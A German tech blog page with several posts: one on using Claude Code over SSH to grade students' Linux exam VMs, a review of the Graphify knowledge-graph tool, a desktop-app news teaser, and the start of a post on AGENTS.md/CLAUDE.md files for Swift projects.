❌

Lese-Ansicht

Mit Claude Code eine Linux-Prüfung korrigieren

Coding mit KI-Unterstützung ist mittlerweile für die meisten Entwickler gelebte Praxis. Weniger bekannt ist, dass CLIs wie Claude Code auch abseits der Programmierung ein großartiges Werkzeug sind: Mit CLIs können Sie per SSH Linux-Installationen administrieren, Backups überprüfen, Docker-Setups einrichten oder Mail-Server-Konfigurationen analysieren.

Darüber hinaus setze ich Claude Code seit einigen Monaten für die Korrektur meiner Linux-Prüfungen ein. In diesem Beitrag erkläre ich, wie das funktioniert und warum das für mich eines der überzeugendsten Beispiele für »agentische KI« abseits des Codings ist.

Ich konzentriere mich in diesem Artikel auf Claude Code und habe das Setup auch nur mit dieser CLI getestet. Aber prinzipiell sollte das Setup ebenso gut mit Codex, Vibe CLI, Pi oder jedem anderen KI-Tool funktionieren, das im Terminal läuft und mit einem ausreichend leistungsstarken Sprachmodell verbunden ist.

Linux-Administration mit Claude Code

Die größte Hürde bei der Systemadministration besteht darin, wie Claude Code root-Rechte erlangt. Der naheliegende Weg, die interaktive Eingabe des Passworts für sudo während einer Session, ist leider nicht vorgesehen. Es gibt mehrere Wege, diese Hürde zu umgehen:

  • SSH-Key: Sie führen Claude Code auf Ihrem Arbeitsrechner oder Notebook aus. Über einen SSH-Key kann sich Claude Code beim zu administrierenden System ohne Passwort als root anmelden und dort arbeiten. Für die Prüfungskorrektur habe ich mich für diese Variante entschieden.
  • sudo ohne Passwort: Sie installieren Claude Code auf dem Zielsystem und führen das Programm in einem gewöhnlichen Account aus. Dank einer Regel in /etc/sudoers.d/ kann Claude Code ohne interaktive Passwortangabe root-Rechte erlangen (z.B. ALL=(ALL:ALL) NOPASSWD: ALL). Dieser sudo-Zugang kann uneingeschränkt sein oder auf ausgewählte Kommandos limitiert werden.

  • Claude Code als root: Sie installieren Claude Code am Zielsystem und führen es dort direkt mit root-Rechten aus. Das widerspricht aber dem Grundprinzip, möglichst nie größere, interaktive Programme mit root-Rechten auszuführen.

Sicherheitstechnisch sind alle drei Varianten in etwa gleich schlecht. Die letzte Variante ist vermutlich die schlimmste. Für Test-VMs und Entwicklungsumgebungen sind die skizzierten Wege akzeptabel. Für echte (produktive) Server ist Variante 2 der am ehesten taugliche Kompromiss.

Mindestens ebenso wichtig ist der Arbeitsmodus. Seit Sommer 2026 gilt der Auto-Modus als Defaultmodus von Claude Code. Dabei entscheidet ein zweites Sprachmodell (der Classifier), welche Kommandos ohne Rückfrage ausgeführt werden dürfen. Beim Programmieren funktioniert das ausgezeichnet.

Für die Administration von Servern ist dieser Modus aber gefährlich. Der Classifier sieht nämlich nie die Ausgabe von Kommandos wie lsblk oder pvs. Er kann deshalb nicht überprüfen, ob /dev/vdb wirklich das neue, leere Disk-Image ist oder ob sich dort schon aktiv genutzte Partitionen befinden. Paradoxerweise gilt: Je präziser Sie Ihren Auftrag formulieren, desto weniger wird nachgefragt. Wenn Sie sich bei /dev/vdb1 vertippt haben: Pech gehabt!

Wenn Claude Code beim Coding falsch »denkt« und Sie per Git zurück zum vorherigen Stand Ihres Projekts gehen müssen, ist das ärgerlich. Sollte Claude Code hingegen versehentlich die falsche SSD Ihres Servers neu partitionieren, ist das ein Fehler, der nicht mehr gutzumachen ist. (Nun gut, Sie haben natürlich ein Backup! Aber der Arbeitstag ist vermutlich trotzdem verloren.)

Für administrative Arbeiten empfehle ich deswegen den manuellen Modus, in dem jede Dateiänderung und jedes Shell-Kommando bestätigt werden muss. Am besten richten Sie für Ihre Admin-Aufgaben ein eigenes Projektverzeichnis ein und verankern den Modus dort dauerhaft in .claude/settings.json, damit Sie die Aktivierung nicht vergessen können:

{
  "permissions": {
    "defaultMode": "manual"
  }
}

Der manuelle Modus ist mit vielen Rückfragen verbunden. Mit der Antwort Yes, and don’t ask again speichert Claude Code eine Freigaberegel in .claude/settings.local.json. Ein regelmäßiger Blick in diese Datei lohnt sich: Zu großzügig geratene Regeln bleiben sonst dauerhaft aktiv, umgekehrt lassen sich oft mehrere Regeln zu einer zusammenfassen (z.B. Bash(sudo du *)). Die goldene Mitte sind Setups, in denen Sie den manuellen Modus mit Allow-Regeln für harmlose Kommandos kombinieren.

Nie auf Produktivsystemen! In meiner Admin-Praxis bin ich begeisterter Claude-Code-Anwender. Aber meine rote Linie sind Produktivsysteme. Mir ist klar, dass die Wissensbasis von Claude Code breiter und tiefer ist als die jedes Linux-Admins, und ich lasse mich auch gerne beraten. Aber so wie sich ein junger Mitarbeiter erst Vertrauen erarbeiten muss, bevor er kritische Aufgaben selbstständig erledigen darf, so geht es mir auch mit Claude Code. Was das Coding angeht, habe ich dieses Vertrauen. Was die Linux-Administration betrifft: noch nicht im gleichen Ausmaß.

Meine Linux-Lehrveranstaltung

Ich unterrichte an der Fachhochschule JOANNEUM in Kapfenberg seit über einem Jahrzehnt Linux-Administration. Das ist eine sehr grundlagenorientierte Lehrveranstaltung: Benutzerverwaltung, Zugriffsrechte samt setuid und setgid, Administration des Dateisystems samt LVM, Netzwerk-Basics, Paketverwaltung, systemd, Logging, elementare Tools (find, tar etc.).

Sowohl während der Übungen als auch zur Prüfung erhalten alle Studentinnen und Studenten Zugang zu virtuellen Maschinen. Die Prüfung besteht darin, Admin-Aufgaben auszuführen. Beurteilt wird danach der Zustand der virtuellen Maschinen. Die Prüfung ist damit viel praxisnäher als ein Multiple-Choice-Test. Drei Beispiele für typische Aufgaben:

  • Richte auf /dev/vdb ein Physical Volume mit xxx MiB ein, füge es der Volume Group für das Root-Dateisystem hinzu und vergrößere dann das Logical Volume und das Dateisystem für /.
  • Richte die Benutzer Jack, Joe und Averall ein. Deren Accounts sollen nach 90 Tagen ablaufen. Sie haben Zugriff auf ein gemeinsames Verzeichnis /data/some-task. Jeder der drei soll dort neu erzeugte Dateien der beiden anderen lesen, bearbeiten, aber nicht löschen können. Richte das Verzeichnis entsprechend ein.
  • Sichere den SSH-Server mit Fail2ban ab.

Diese Prüfungs- bzw. Übungsaufgaben klingen beinahe wie Prompts! Bevor ich Claude Code mit der Korrektur der Prüfungen beauftragt habe, habe ich deswegen die Probe aufs Exempel gemacht: Ich habe eine zusätzliche virtuelle Maschine eingerichtet, Claude Code per SSH-Key Root-Zugang gegeben und ihm eine Prüfung übergeben, samt der Aufforderung, alle Aufgaben zu erledigen und die genaue Vorgehensweise in einer Datei zu protokollieren.

Weniger als zehn Minuten später war Claude Code fertig. Ich habe das Ergebnis kontrolliert: Alle Punkte! Die Studierenden haben 90 Minuten Zeit. Die volle Punkteanzahl erreicht praktisch niemand, nicht weil meine Prüfung so schwierig wäre (ist sie wirklich nicht!), sondern weil auch guten Admins Schlampigkeitsfehler unterlaufen, speziell unter (Prüfungs-)Stress.

Prüfungskorrektur bisher

Zur Korrektur musste ich bisher via SSH in jede virtuelle Maschine »hineinsehen« und den Zustand des Dateisystems, der Netzwerkkonfiguration, von installierten Paketen und Dateien analysieren. Ich habe dazu ein selbst geschriebenes Script verwendet, das per SSH für jede VM Kommandos wie cat /etc/fstab, lsblk, pvs, getfacl usw. ausführte und die Ergebnisse in einer Textdatei sammelte. Diese Textdatei (plus bei Unklarheiten ein direkter Login samt ein paar manuellen Kontrollen) war dann die Grundlage für meine Beurteilung.

Das hat funktioniert, war aber mühsam. Für Details musste ich trotzdem oft in die VM hinein. Und weil sich die Aufgaben von Prüfung zu Prüfung ändern, musste ich auch das Script jedes Mal anpassen. Damit nicht genug: Ich musste in einer Tabelle dokumentieren, welche Teilaufgaben erledigt wurden und welche Fehler dabei passiert sind, mir überlegen, wie viele Teilpunkte eine unvollständige Aufgabe wert ist, und schließlich die wichtigsten Dateien aus den virtuellen Maschinen archivieren, sodass ich meine Beurteilung zur Not später nachvollziehen und begründen kann. Jeder Schritt für sich ist einfach, aber in Summe kostete die Beurteilung jeder Prüfung eine Menge Zeit.

Prüfungskorrektur mit Claude Code

Mittlerweile sieht sich Claude Code die virtuellen Maschinen selbst an. Dazu habe ich ein Projektverzeichnis mit Unterverzeichnissen für die Prüfungsangaben (exams/), meine Unterrichtsunterlagen (teaching/) und die Protokolle der von Claude Code ausgeführten Kommandos (reports/) eingerichtet. Die Datei CLAUDE.md enthält ganz genaue Anweisungen, wie Claude Code die virtuellen Maschinen nach einer Prüfung analysieren soll. Die Idee sieht so ähnlich wie der folgende, stark gekürzte Prompt aus:

Exam evaluation

* You have root access to the VMs fh01.example.com to fh20.example.com.
* Each VM is the result of an exam according to exam-2026-06.md.
  You are to evaluate the exam.
* Prepare an ODS table with columns for each VM and rows for each
  task / subtask.
* For each VM evaluate the exam. First, make a backup of
  /root/.bash_history (backup file name: bash_history_<date_time>).
* Other than that, do not change anything! Only read/access/evaluate.
  Do not create or modify files, do not run configuration commands,
  do not fix errors. The VM should stay as much as possible in the
  state the student left it when finishing the exam.
* Insert the achieved points and comments on wrong or missing details
  into the ODS table.
* Make a backup of /etc, /root and /home/student, download it to the
  local machine and save it as archive-fh<nn>.tar.gz.

Damit die Punkteaufteilung für alle Teilnehmer konsistent ist, lasse ich Claude Code vorweg zu jeder Prüfung ein Bewertungsschema erstellen. Dieses kontrolliere ich und passe es fallweise an: Auch wenn eine Frage in fünf Aufzählungspunkten formuliert ist, sind die Punkte oft unterschiedlich zu gewichten, je nach Schwierigkeit und Zeitaufwand.

Ein großartiger Aspekt des Setups besteht darin, dass Claude Code die VMs nicht nur auswertet, sondern die Ergebnisse gleich in eine LibreOffice-Tabelle einträgt: Pro Prüfung/VM gibt es eine Spalte mit den Punkten und eine mit Kommentaren zu Fehlern oder fehlenden Details. Wenn ich mit einer Bewertung nicht einverstanden bin, ändere ich einfach die Punkte, die Summe wird automatisch neu berechnet. Um die ODS-Datei zu erzeugen, hat Claude Code ein kleines Python-Script geschrieben (mit dem Modul odfpy, installiert mit uv in einem lokalen Virtual Environment).

Der Screenshot zeigt eine LibreOffice-Calc-Tabelle mit den Prüfungsergebnissen. In der ersten Spalte stehen die Teilaufgaben, gruppiert nach Aufgaben wie „Aufgabe 1: Dateisystem“ oder „Aufgabe 2: LVM“, daneben die maximal erreichbaren Punkte. Für jede virtuelle Maschine (vm51, vm52, vm53) gibt es eine Spalte mit den erreichten Punkten und eine Spalte mit Notizen, z.B. „nicht installiert“ oder „xfs_growfs nicht ausgeführt“.
Die von Claude Code erzeugte Tabelle mit den Prüfungsergebnissen

Beim ersten Durchlauf habe ich die Ergebnisse von Claude Code mit einer älteren Prüfung verglichen, die ich zuvor manuell korrigiert hatte. Überwiegend kamen wir zu den gleichen Resultaten, aber nicht immer. Beispielsweise hat Claude Code nur die benutzerspezifische Crontab-Datei angesehen, nicht aber die systemweite (/etc/crontab). Dort befand sich die in der Prüfung geforderte Konfiguration. Claude Code hätte hier also fälschlich einen Punkt abgezogen. Solche Erkenntnisse lasse ich Claude Code in einer Anleitungsdatei festhalten, die in CLAUDE.md verankert ist. Claude Code hat dort einen Abschnitt Known gotchas angelegt, der mit jeder Prüfung ein wenig wächst.

Die Erstellung des ganzen Setups hat ca. vier Arbeitsstunden beansprucht, in etwa so lange, wie ich bisher für die manuelle Korrektur einer Prüfung gebraucht habe. Bei der ersten »echten« Korrektur hat Claude Code für sieben Teilnehmer ca. eine halbe Stunde gebraucht, geht also keineswegs blitzschnell vor. Laut /status hat die Korrektur ca. ein Drittel des Tagesbudgets meines Pro-Abos verbraucht.

Der Screenshot zeigt ein Terminal mit Claude Code nach Abschluss der Korrektur („All 6 students graded“). Eine Tabelle listet für die VMs fh62 bis fh67 die Punkte der Aufgaben A1 bis A5 und die Gesamtpunkte zwischen 8 und 26,5. Darunter fasst Claude Code auffällige Muster zusammen, z.B. dass fast niemand `tune2fs -c 50` ausgeführt hat und zwei VMs wegen fehlerhafter fstab-Einträge nicht booten konnten.
Claude Code fasst die Ergebnisse von sechs Prüfungen übersichtlich zusammen. (Es handelt sich um eine andere Prüfung als beim ersten Screenshot. Die siebte Prüfung wurde vorweg einzeln korrigiert und scheint in der Zusammenfassung nicht auf.)

Fazit

Ganz ohne Handarbeit geht es nicht. Bei manchen VMs mit einer kaputten /etc/fstab-Datei muss ich diese zuerst reparieren, bevor die VM überhaupt bootet. Natürlich werfe ich nach der KI-Korrektur weiterhin einen Blick in jede virtuelle Maschine. Da und dort finde ich noch einen Punkt, wo mir Claude Code zu streng erscheint. (Ich handle eher nach der Richtlinie »Im Zweifel für den Angeklagten«.) Und in die endgültige Note fließen neben der Prüfung noch weitere Teilleistungen während des Semesters ein.

Was mir an diesem Setup so gut gefällt: Es nimmt mir den ungemein mühsamen Teil der Korrektur ab, das manuelle Auswerten jeder einzelnen VM. Das war in der Vergangenheit ebenso öd wie zeitaufwendig. Per KI-Hilfe verkleinert sich der Gesamtaufwand für die Korrektur etwa auf die Hälfte. Insbesondere muss ich nicht mehr für jede Prüfung ein neues Script zur Datensammlung schreiben: Claude Code liest die Prüfungsangabe und weiß selbst, wo es nachsehen muss.

Für mich ist das eines der besten Beispiele dafür, was »agentische KI« abseits des Codings in der Praxis bedeutet: Der Agent loggt sich selbstständig in beliebig viele VMs ein, führt dort Dutzende Kommandos aus, interpretiert die Ergebnisse im Kontext der Aufgabenstellung, vergibt Punkte, begründet Abzüge und schreibt alles in eine Tabelle. Ich kann Zusatzregeln angeben, dass mir z.B. die exakte Größe von Dateisystemen egal ist (alles im Bereich +/- 10 Prozent ist OK).

Ein angenehmer Nebenaspekt: Datenschutzprobleme gibt es keine. Claude Code erhält zu keinem Zeitpunkt die Namen meiner Studentinnen und Studenten. Der Agent sieht nur Linux-VMs mit Hostnamen wie fh<nn>.example.com. Die Zuordnung der VM-Nummern zu den Prüfungsteilnehmern erfolgt manuell durch mich.

Ist es für mich und meine StudentInnen nicht frustrierend, dass die KI auch bei der Linux-Administration besser ist als wir? Es ist wie beim Programmieren: Wir müssen uns mit neuen Realitäten arrangieren. Ich gebe zu, dass ich Claude Code und vergleichbare Tools noch nie auf produktiven Servern eingesetzt habe. So groß ist mein Vertrauen (noch) nicht. Für Testumgebungen, virtuelle Maschinen usw. ist es aber definitiv gut genug, auch zur Analyse »echter« Systeme. Sicher ist: So wie bei der Programmierung wird die KI auch in der Systemadministration viel verändern.

Bleibt die Frage nach dem richtigen Unterricht bzw. den richtigen Themen: Ist es noch zeitgemäß, tar-Optionen und LVM-Kommandos zu unterrichten? Ich habe mich immer gegen das Auswendiglernen gewehrt und erlaube meinen Studierenden, einen »Schwindelzettel« zur Prüfung mitzunehmen. Wichtiger als Detailwissen ist das Verständnis der Grundlagen. Was ist ein Dateisystem überhaupt? Warum gibt es unterschiedliche Dateisysteme? Was bringt LVM? Was ist der Preis? Wie kann ich LVM mit RAID kombinieren? Warum ist das sinnvoll?

Ich bin der Überzeugung, dass diese Grundlagen wichtig bleiben. KI-Tools werden uns (Systemadmins) manche öde Arbeit abnehmen. Aber so wie gute Programmierer mit KI bessere Ergebnisse erzielen als schlechte Programmierer, so werden gute Admins die KI sinnvoll anwenden, während schlechten Admins mehr Fehler unterlaufen. Die KI tut, was man ihr sagt, aber sie stellt den Auftrag selten in Frage. Wenn schon die Grundannahme falsch war, wird auch das KI-produzierte Ergebnis nicht aufregend ausfallen.

Zuletzt möchte ich noch auf zwei Videos von Florian Dalwigk verweisen. Er unterrichtet Ethical Hacking und hat mit Claude beim Pentesting/Hacking ähnliche Erfahrungen gemacht wie ich im Linux-Unterricht. Unsere Schlussfolgerungen sind vielleicht nicht ganz deckungsgleich, aber Sie werden viele Ähnlichkeiten erkennen …

Quellen/Links

  •  

Claude kommt auf Linux: Neue Desktop‑App startet durch

Die neue Claude‑Desktop‑App erreicht jetzt auch Linux. Anthropic öffnet damit erstmals den Weg des beliebten Entwickler-KI-Assistenten für Ubuntu und Debian. Entwickler erhalten eine native Lösung ohne Bastelei, die in der Beta jedoch noch nicht alle Funktionen besitzt. Die Anwendung jedoch schon viele Bereiche ab. Chat, Cowork und Code stehen bereit. Dazu kommen parallele Sitzungen und […]

Der Beitrag Claude kommt auf Linux: Neue Desktop‑App startet durch erschien zuerst auf fosstopia.

  •  

Graphify

Da ist Coding mit KI frisch aus der Druckerei ausgeliefert, schon taucht ein neues Tool auf, das mehr Effizienz verspricht. Graphify erstellt einen sogenannten Knowledge Graph, also eine interne Datenbank über die Verknüpfungen zwischen Komponenten (Text, Code, Bilder, was auch immer) eines Projekts. In der Folge können KI-Tools wie Claude Code auf diese Datenbank zugreifen und sich damit rascher und vor allem Token-sparender im Projekt orientieren. Graphify funktioniert besonders gut für ungeordnete Verzeichnisse, in denen Sie PDFs, Screenshots etc. zu einem Thema ablegen, um diese Informationen später wieder zu nutzen.

Aktualisiert 10.5.2026, 23.6.2026, 3.7.2026

Installation

Graphify ist ein Python-Programm (Open Source, MIT-Lizenz), das Sie am besten mit uv tool install auf Ihrem Rechner einrichten. (uv ist ein moderner Python-Modulmanager, über den ich demnächst hier schreiben will.) Beachten Sie, dass der Paketname graphifyy mit Doppel-Y lautet, während das Kommando graphify heißt.

uv tool install graphifyy installiert das Programm. Sofern PATH das Verzeichnis .local/bin enthält, kann graphify anschließend sofort gestartet werden. graphify install richtet Skill-Dateien für die auf Ihrem Rechner gefundenen KI-Tools (in meinem Fall: Claude) ein.

$ uv tool install graphifyy

$ graphify install
  skill installed  ->  /Users/kofler/.claude/skills/graphify/SKILL.md
  CLAUDE.md        ->  created at /Users/kofler/.claude/CLAUDE.md

  Done. Open your AI coding assistant and type:

  /graphify .

Verwendung

Im Projektverzeichnis starten Sie nun das KI-Tool Ihrer Wahl (in meinem Fall: Claude Code). Dort steht Graphify jetzt als Skill zur Verfügung. Einfach

/graphify .

analysiert das Projektverzeichnis und erstellt nach vielen Rückfragen das Verzeichnis graphify_out. Das dauert geraume Zeit und verbrennt etliche Tokens. Das Verzeichnis enthält die folgenden Dateien:

ls -l graphify-out/

drwxr-xr-x  4 kofler  staff     128  7 Mai  09:54 cache/
-rw-r--r--  1 kofler  staff     213  7 Mai  10:10 cost.json
-rw-r--r--  1 kofler  staff    8523  7 Mai  10:10 GRAPH_REPORT.md
-rw-r--r--  1 kofler  staff  139973  7 Mai  10:10 graph.html
-rw-r--r--  1 kofler  staff  137091  7 Mai  10:09 graph.json
-rw-r--r--  1 kofler  staff    7912  7 Mai  10:10 manifest.json

Ich habe meine Tests anhand einer Swift-App mit ca. 2000 Zeilen Code in diversen Dateien durchgeführt. Die Ergebnisse sehen eindrucksvoll aus, der unmittelbare Erkenntnisgewinn war aber — zumindest bei diesem Projekt — überschaubar.

Der Screenshot zeigt einen anklickbaren „Knowledge Graph“ als Netzwerkvisualisierung in einem Browserfenster. In der Mitte sind farbige Knoten mit Verbindungen zu sehen, die Code-Elemente wie „ShoppingViewModel“ und zugehörige Methoden darstellen. Rechts befindet sich ein „Node Info“-Panel mit Details zum ausgewählten Knoten sowie einer Suche. Darunter listet ein „Communities“-Bereich Kategorien mit Checkboxen auf.
Der anklickbare »Knowledge Graph«
Der Screenshot zeigt einen geöffneten Markdown-Report mit einer Analyse von Projektzusammenhängen. Links ist eine Navigationsleiste mit Abschnitten wie „Summary“, „God Nodes“ und „Communities“ sowie einer Community-Liste. Im Hauptbereich stehen „Knowledge Gaps“ mit 30 isolierten Nodes und Hinweisen auf fehlende Kanten. Darunter folgen „Suggested Questions“ zu Verbindungen zwischen Komponenten wie ContentView, PlanTabView und ShoppingViewModel.
Kurzfassung der Projektzusammenhänge im Markdown-Format

Wenn Sie Änderungen in der Code-Basis oder in Ihren Dateien durchführen, aktualisieren Sie den Knowledge Graph:

/graphify . --update        # merge changed content into existing graph

Der Knowledge Graph kann jetzt die Grundlage für Analysen mit /graphify explain oder graphiy query sein (Ausgabe etwas gekürzt):

/graphify explain "the sync process"

  Here's what the graph tells us about the sync process, grounded in the
  extracted edges:

  The sync process is orchestrated by ShoppingViewModel.pullMergePushSave
  (RestShopping.swift:125-175), which implements the Pull-Merge-Push lifecycle
  documented in CLAUDE.md. The graph found 16 nodes directly connected to this
  concept.

  The three phases (all EXTRACTED edges):

  1. Pull — apiPullItems (RestShopping.swift:62-93) fetches items from the
     remote REST API since the last sync timestamp.
  2. Merge — mergeItems (RestShopping.swift:178-193) resolves conflicts using
     Timestamp-Wins: whichever version of an item has the newer updatedAt
     wins. Two design rationale nodes connect here:
    - Timestamp-Wins Conflict Resolution → mergeItems [EXTRACTED]
    - Soft Delete Pattern → ShoppingItem [EXTRACTED] — items are never truly
      removed; isDeleted = true propagates deletions to other devices through
      the sync
  3. Push — apiPushItems (RestShopping.swift:96-120) uploads the merged state
     back to the server.
  4. Persist — saveLocally (ViewModel.swift:172-178) writes the final state to
     the local JSON file. mergeItems then calls replaceItem to update the
     ViewModel's live state.

  Wire format bridge: ItemDTO (RestShopping.swift:9-53) shares data with
   ShoppingItem [EXTRACTED] — it translates between the app's model and the
   API's integer-boolean/ISO 8601 wire format.

  Trigger points: ContentView and StatusView both connect to pullMergePushSave
  in the graph. ContentView runs it via .task, .onChange(scenePhase), and a
  40-second timer. StatusView (in Settings) provides a manual
  trigger. setupNewFamily and joinFamily also call pullMergePushSave as a final
  step after family registration.

  The most interesting angle here: the Soft Delete pattern is the load-bearing
  coupling between ShoppingItem (the model) and the sync logic — if you ever
  changed ShoppingItem to hard-delete, mergeItems would silently stop
  propagating deletions. Want me to trace the path from ShoppingItem.isDeleted
  through to what happens when a remote device pulls?

/graphify query "Where in code is the Category class used? 
                 Could we drop the @Observable attribute?"

  Here's what the graph found — and where its limits are:

  Where Category is used (from the graph):

  The BFS found 10 nodes. The confirmed connections [EXTRACTED]:
  - Category → shares_data_with → ShoppingViewModel (ViewModel.swift:1-181) —
    the ViewModel holds the categories: [Category] array
  - Category.predefinedCategories (Category.swift:24-37) ↔ ShoppingViewModel —
    the ViewModel calls this at init to populate its categories
  - .predefinedCategories() → calls → Color — each category has a color
    assigned

  What the graph is missing: There are no direct edges from Category to the
  view layer (CategoriesView, CategoryButton, EditItemView,
  CategoryRadioButton). Those views access categories through vm.categories and
  mutate category.isSelected/category.isExpanded directly — but the graph
  didn't capture these view→Category property access edges since they go
  through the ViewModel and aren't explicit call-site imports.

  On dropping @Observable:

  The graph can't answer this definitively — it would require the actual
  property mutation sites. But from the CLAUDE.md rationale node captured in
  the graph: "Mutable reference-type state (isSelected, isExpanded) is mutated
  directly from views." That design decision is precisely why @Observable is
  needed. Without it, those direct mutations on the reference type wouldn't
  trigger SwiftUI view updates — CategoriesView and EditItemView would stop
  reacting to category selection changes.

  Verdict from the graph: @Observable cannot be safely dropped without a larger
  refactor (e.g., moving isSelected/isExpanded into the ViewModel as @State or
  @Published backing). The graph confirms the coupling exists; reading
  Category.swift:4-112 directly would show exactly which properties are var vs
  let.

Die Website preist den größten Vorteil von Graphify an, dass derartige Abfragen auf der Basis des lokalen Knowledge Graphs nun wesentlich weniger Token verbrauchen als wenn das KI-Tool mit find und grep die Codebasis durchsucht und (immer wieder neu) analysiert. Bei meinen Tests ließ sich das Ausmaß der Ersparnis schwer messen.

Persönliche Einschätzung

Die Idee von Graphify ist gut. Allerdings wirkt Graphify ein wenig wie ein Fremdkörper innerhalb von Claude Code. Nur /graphify-Kommandos berücksichtigen die Graph-Knowledge-Datenbank. Die Skill-Datei ist mit über 1000 Zeilen und einer Menge eingebetteten Code auch eher abschreckend.

Aus Coding-Perspektive wäre es wünschenswert, die Generierung, Aktualisierung und Auswertung der Knowledge-Datenbank direkt in Claude Code bzw. in andere KI-Tools zu integrieren. Damit könnte das in der Datenbank aggregierte Wissen bei allen Aktionen berücksichtigt werden, nicht nur bei /graphify-Kommandos.

Ganz generell stellt sich die Frage, ob und wie weit Graph Knowledge Databases das bekannte RAG-Konzept ablösen oder zumindest ergänzen kann (also Retrieval-Augmented Generation, um eigenes Wissen in Vektordatenbanken zu speichern und einem LLM zugänglich zu machen). Siehe z.B. diesen Artikel über einen ähnlichen Ansatz mit kommerziellen Hintergrund.

Alternativen

  • Headroom: Wenn es primär darum geht, den Kontext zu verkleinern und so Kosten zu sparen (idealerweise ohne Qualitätsverlust), hat das Projekt Headroom ein weiteres spannendes Konzept realisiert. Headroom agiert als eine Art Kompressor zwischen Ihren Prompts und dem KI-Tool/Sprachmodell. Allerdings wäre wohl auch in diesem Fall ein in das jeweilige CLI/KI-Tool integrierte Lösung noch besser.

  • CodeGraph: Auch CodeGraph erfasst die Codebasis vorweg und in der Folge bei allen Änderungen. Die Daten werden in einer SQLite-Datenbank als Graph gespeichert. Der wichtigste Unterschied besteht darin, dass die Verbindung zum KI-Tool über MCP erfolgt, was eine tiefere Integration erlaubt.

Quellen/Links

  •  

KI-Skills für Swift

Vor zwei Jahren half »Prompt Engineering« zu besseren Ergebnissen bei KI-Tools. Heute ist der Weg ein anderer:

  • Die Datei AGENTS.md (für die meisten KI-Tools) bzw. CLAUDE.md (für Claude Code) im Projektverzeichnis fasst wichtige Projektinformationen und Coding-Anweisungen zusammen. IDEs wie Cursor bzw. CLIs wie Claude Code oder Codex berücksichtigen diese Datei bei jedem Session-Start automatisch. Damit bietet diese Datei eine großartige Möglichkeit, das Default-Verhalten von KI-Tools den eigenen Ansprüchen anzupassen. (AGENTS.md können CLAUDE.md auf verschiedenen Ebenen gespeichert werden, um z.B. allgemeine Coding-Anweisungen mit spezifischen Projektinformationen zu kombinieren.)
  • Skills ermöglichen es, Anweisungen für bestimmte Bearbeitungsschritte im Markdown-Format zu formulieren. Während AGENTS.md immer berücksichtigt wird, werden Skills nur bei Bedarf ausgewertet. Skills können auch Anweisungen für den Aufruf externer Tools beinhalten und ersetzen dann in manchen Fällen die MCP-Server-Konfiguration. (Auch Skills können wahlweise projektspezifisch oder auf globaler Ebene eingerichtet werden.)

Dieser Beitrag zeigt die Anwendung von AGENTS.md und Skills speziell für die Programmiersprache Swift — losgelöst davon, ob Sie in Xcode arbeiten oder eine externe CLI verwenden. Der Artikel hat einen leichten Claude-Fokus, weil ich mich persönlich in der Anthropic-Welt wohler fühle als in der von OpenAI. Qualitativ gibt es keine großen Unterschiede zwischen beiden Systemen, beide funktionieren mittlerweile herausragend gut.

Ich setze hier voraus, dass Sie grundlegende Erfahrung mit KI-Tools haben und zumindest ein CLI-Tool (ich empfehle Claude Code, aber auch Codex CLI, Gemini CLI, Copilot CLI usw.) ausprobiert haben.

AGENTS.md bzw. CLAUDE.md auf Projekt-Ebene

Wenn Sie in Xcode mit Claude Agent oder Codex arbeiten, sollte Ihr erster Prompt in einem neuen Projekt /init lauten. Der Claude Agent bzw. Codex analysiert dann Ihren Code und erzeugt die Datei CLAUDE.md bzw. AGENTS.md. (AGENTS.md ist ein generischer Name. Die Datei wird von den meisten KI-Tools berücksichtigt, absurderweise aber nicht von Anthropic-Tools, die auf CLAUDE.md bestehen.)

Die Datei wird im Projektverzeichnis gespeichert; sie ist im Projektnavigator unsichtbar, weil dieser eine Verzeichnisebene tiefer ansetzt. Im Regelfall lohnt es sich, diese Datei in einem Editor nachzubearbeiten und dort bei Bedarf eigene Coding-Anweisungen hinzuzufügen.

Beachten Sie, dass die Datei bei jeder Session in den Kontext gelesen wird. Halten Sie sich daher kurz!

Die von Claude Code ohne meine Mithilfe generierte Datei CLAUDE.md für das Cart-Beispielprogramm (Kapitel 25 in meinem Swift-Buch) sieht beispielsweise so aus:

# CLAUDE.md

This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.

## Build & Run

This is an Xcode project (`family-cart.xcodeproj`). Build and run through Xcode or use the `BuildProject` MCP tool. There are no tests, no linter, and no package dependencies.

## Architecture

**Family Cart** is a SwiftUI shopping list app that syncs across family members via a REST API. The codebase follows a strict three-layer structure reflected in the folder naming:

### 1_model
- **ShoppingItem** — Immutable `struct` (Codable, Identifiable). All mutations produce new copies via the `with(...)` helper. Persisted locally as JSON in the Documents directory (`shoppingItems.json`). The `[ShoppingItem].save()` extension handles local persistence.
- **Category** — `@Observable class` with 10 predefined grocery categories. Each has a `shortcut` string (e.g. `"bread"`, `"veg"`, `"dairy"`) used as the foreign key in ShoppingItem. Categories are not persisted — they are recreated from `predefinedCategories()` on every launch. `Color(hex:)` extension lives here.

...
## Key Patterns

- **No Combine**: The app uses `@Observable` (Observation framework) and Swift concurrency (async/await). Avoid introducing Combine.
- **Immutable model pattern**: `ShoppingItem` is a struct. Always use `with(...)` to create modified copies, then `replaceItem(_:with:)` on the view model. Never mutate items in place.
- **Single ViewModel**: All state flows through `ShoppingViewModel`. Views receive it as a parameter (not via `@Environment`).
- **Categories as constants**: The 10 categories and their shortcuts are hardcoded. Category images use custom assets with `-fill` suffix variants for selected state.
- **Localization**: Strings are localized via `Localizable.xcstrings` (English + German). Category names use `LocalizedStringKey`.
- **Soft delete**: Items are never removed from the array — `deleteItem()` sets `isDeleted = true` and title to `"deleted"`.

## REST API

Backend at `cart.kofler.info:443`. Authentication via HMAC-SHA256 tokens that rotate every 5 minutes. Key endpoints:

- `GET /version` — connectivity test
- `GET/PUT /items/{family_id}` — pull/push shopping items
- `PUT /newfamily`, `PUT /newmember` — family setup
- `GET /family/{code}`, `GET /members/{family_id}` — family lookup

AGENTS.md bzw. CLAUDE.md auf Xcode-Ebene

Während AGENTS.md bzw. CLAUDE.md im Projektverzeichnis eben nur für dieses Projekt gilt, können Sie die gleichnamige Datei auch in speziellen Xcode-Verzeichnissen speichern. Die dort formulierten Regeln gelten dann für alle Projekte in Xcode, in denen Sie den jeweiligen Agenten zu Hilfe nehmen.

Die aktuelle KI-Integration sieht die folgenden beiden Verzeichnisse zur Konfiguration von Claude Agent bzw. Codex vor (Quelle):

~/Library/Developer/Xcode/CodingAssistant/codex
~/Library/Developer/Xcode/CodingAssistant/ClaudeAgentConfig

